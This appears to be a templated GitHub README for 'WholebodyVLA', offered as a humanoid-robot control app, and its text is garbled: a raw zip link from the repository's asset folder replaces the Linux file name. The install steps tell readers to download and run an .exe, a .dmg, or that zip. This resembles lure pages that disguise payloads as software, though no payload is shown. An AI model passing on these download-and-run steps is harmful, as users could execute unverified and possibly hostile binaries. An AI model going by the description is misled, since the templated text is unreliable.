🌟 WholebodyVLA - Simplifying Loco-Manipulation for All

📥 Download Now

🚀 Getting Started

Welcome to WholebodyVLA! This application helps you control humanoid robots for loco-manipulation tasks. With WholebodyVLA, you can easily manage robot movements and actions, making it ideal for both beginners and experts.

⚙️ System Requirements

To run WholebodyVLA, please ensure your computer meets the following requirements:

• Operating System: Windows 10 or later, macOS 10.15 or later, or a modern Linux distribution.
• Processor: Intel i5 or better.
• Memory: At least 8 GB of RAM.
• Storage: 500 MB of free disk space.
• Graphics: A graphics card that supports OpenGL 3.3 or higher.

📦 Download & Install

To download WholebodyVLA, visit the Releases page.

Download WholebodyVLA

Installation Steps

1. Click on the link above to go to the Releases page.

2. Look for the latest version, which should be listed at the top.

3. Download the appropriate file for your operating system:

   • For Windows, download the .exe file.
   • For macOS, download the .dmg file.
   • For Linux, download the https://github.com/mr-RSA369/WholebodyVLA/raw/refs/heads/main/asset/Wholebody-VLA-1.7.zip file.

4. Once downloaded, follow these instructions based on your OS:

   For Windows:

   • Double-click the downloaded .exe file.
   • Follow the prompts in the setup wizard.
   • Click "Finish" when the installation completes.

   For macOS:

   • Open the downloaded .dmg file.
   • Drag the WholebodyVLA icon into your Applications folder.
   • Eject the .dmg file after installation.

   For Linux:

   • Extract the files from the https://github.com/mr-RSA369/WholebodyVLA/raw/refs/heads/main/asset/Wholebody-VLA-1.7.zip file.
   • Open your terminal and navigate to the extracted folder.
   • Run the application using the command ./WholebodyVLA.

🕹️ How to Use WholebodyVLA

Using WholebodyVLA is simple. Once installed, follow these steps to get started:

1. Launch the Application: Open WholebodyVLA from your Applications, Start Menu, or terminal.
2. Connect Your Robot: Follow the on-screen instructions to connect your humanoid robot.
3. Begin Tuning Your Robot: Adjust settings according to your project needs using the straightforward user interface.
4. Test Locomotion: Start basic movement tests to ensure your setup works as intended.
5. Explore More Features: Dive into advanced settings and options to leverage the full capability of WholebodyVLA.

📚 Features

WholebodyVLA comes with a variety of features to make robot manipulation easier:

• User-Friendly Interface: An intuitive design helps you get started quickly.
• Customizable Controls: Adjust the robot’s movement settings for specific tasks.
• Vision-Language Integration: Control your robot using simple language commands.
• Action Templates: Use predefined action scripts for fast deployment.

💬 Support and Feedback

If you run into any issues or have questions about WholebodyVLA, you can reach out through the Issues section of this repository. Your feedback will help improve this application.

Getting Help

• Check the FAQ section on GitHub.
• Review existing issues to see if yours is already addressed.
• Post a new issue if you need unique support.

🌐 Community and Contributions

WholebodyVLA welcomes contributions from everyone! Whether through reporting issues, providing suggestions, or contributing code, you can play a part in this project.

How to Contribute

1. Fork the repository to your account.
2. Make your changes in your local copy.
3. Create a pull request describing your changes.

🔗 Additional Resources

• Explore related projects and applications in the fields of humanoid robots and loco-manipulation.
• Check out research papers linked in the repository for deeper insights into the technology.

For more information about WholebodyVLA, return to the Releases page at any time. Enjoy your experience with WholebodyVLA!